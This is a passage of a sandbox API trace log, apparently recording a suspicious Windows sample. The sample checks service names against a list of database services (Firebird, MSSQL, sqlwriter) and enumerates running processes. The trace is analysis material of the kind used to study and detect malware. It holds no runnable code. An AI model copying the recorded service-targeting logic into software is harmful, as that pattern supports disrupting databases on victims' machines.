	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0069.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0069.977] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0069.977] lstrlenW (lpString="RpcSs") returned 5
	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0069.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0069.977] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0069.977] lstrlenW (lpString="SamSs") returned 5
	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0069.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0069.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0069.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0069.977] lstrlenW (lpString="Schedule") returned 8
	[0069.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0069.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0069.978] lstrlenW (lpString="SecurityHealthService") returned 21
	[0069.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0069.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0069.978] lstrlenW (lpString="SENS") returned 4
	[0069.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0069.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0069.978] lstrlenW (lpString="ShellHWDetection") returned 16
	[0069.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0069.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0069.978] lstrlenW (lpString="Spooler") returned 7
	[0069.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0069.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0069.978] lstrlenW (lpString="SSDPSRV") returned 7
	[0069.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0069.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0069.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0069.978] lstrlenW (lpString="StateRepository") returned 15
	[0069.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0069.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0069.979] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0069.979] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0069.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0069.979] lstrlenW (lpString="SysMain") returned 7
	[0069.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0069.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0069.979] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0069.979] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0069.979] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x785210 | out: hHeap=0x720000) returned 1
	[0069.979] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c
	[0069.985] Process32FirstW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0070.023] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0070.024] lstrlenW (lpString="System") returned 6
	[0070.024] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0070.024] lstrlenW (lpString="smss.exe") returned 8
	[0070.024] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0070.025] lstrlenW (lpString="csrss.exe") returned 9
	[0070.025] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0070.025] lstrlenW (lpString="wininit.exe") returned 11
	[0070.025] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0070.026] lstrlenW (lpString="csrss.exe") returned 9
	[0070.026] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0070.026] lstrlenW (lpString="winlogon.exe") returned 12
	[0070.026] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0070.027] lstrlenW (lpString="services.exe") returned 12
	[0070.027] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0070.027] lstrlenW (lpString="lsass.exe") returned 9
	[0070.027] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.028] lstrlenW (lpString="svchost.exe") returned 11
	[0070.028] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0070.028] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0070.028] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0070.029] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0070.029] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.029] lstrlenW (lpString="svchost.exe") returned 11
	[0070.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0070.030] lstrlenW (lpString="dwm.exe") returned 7
	[0070.030] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.031] lstrlenW (lpString="svchost.exe") returned 11
	[0070.031] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.031] lstrlenW (lpString="svchost.exe") returned 11
	[0070.031] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.032] lstrlenW (lpString="svchost.exe") returned 11
	[0070.032] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.033] lstrlenW (lpString="svchost.exe") returned 11
	[0070.033] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.033] lstrlenW (lpString="svchost.exe") returned 11
	[0070.033] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.034] lstrlenW (lpString="svchost.exe") returned 11
	[0070.034] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.034] lstrlenW (lpString="svchost.exe") returned 11
	[0070.034] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.035] lstrlenW (lpString="svchost.exe") returned 11
	[0070.035] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.035] lstrlenW (lpString="svchost.exe") returned 11
	[0070.035] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.036] lstrlenW (lpString="svchost.exe") returned 11
	[0070.036] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0070.036] lstrlenW (lpString="spoolsv.exe") returned 11
	[0070.036] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.037] lstrlenW (lpString="svchost.exe") returned 11
	[0070.037] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0070.037] lstrlenW (lpString="audiodg.exe") returned 11
	[0070.037] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0070.038] lstrlenW (lpString="sihost.exe") returned 10
	[0070.038] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0070.039] lstrlenW (lpString="svchost.exe") returned 11
	[0070.039] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0070.039] lstrlenW (lpString="taskhostw.exe") returned 13
	[0070.039] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0070.040] lstrlenW (lpString="explorer.exe") returned 12
	[0070.040] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0070.040] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0070.040] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0070.041] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0070.041] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0070.041] lstrlenW (lpString="Memory Compression") returned 18
	[0070.041] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0070.142] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0070.142] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0070.143] lstrlenW (lpString="SearchUI.exe") returned 12
	[0070.143] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0070.143] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0070.143] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0070.144] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0070.144] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0070.144] lstrlenW (lpString="pending.exe") returned 11
	[0070.144] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0070.145] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0070.145] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0070.145] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0070.145] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0070.146] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0070.146] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0070.146] lstrlenW (lpString="search.exe") returned 10
	[0070.146] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0070.147] lstrlenW (lpString="compatibility.exe") returned 17
	[0070.147] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0070.147] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0070.147] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0070.148] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0070.148] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0070.148] lstrlenW (lpString="try.exe") returned 7
	[0070.148] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0070.149] lstrlenW (lpString="consultancy.exe") returned 15
	[0070.149] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0070.149] lstrlenW (lpString="especially.exe") returned 14
	[0070.149] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0070.150] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0070.150] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0070.150] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0070.151] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0070.151] lstrlenW (lpString="modules.exe") returned 11
	[0070.151] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0070.152] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0070.152] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0070.152] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0070.152] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0070.153] lstrlenW (lpString="3dftp.exe") returned 9
	[0070.153] Process32NextW (in: hSnapshot=0x35c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0070.153] lstrlenW (lpString="absolutetelnet.exe") returned 18
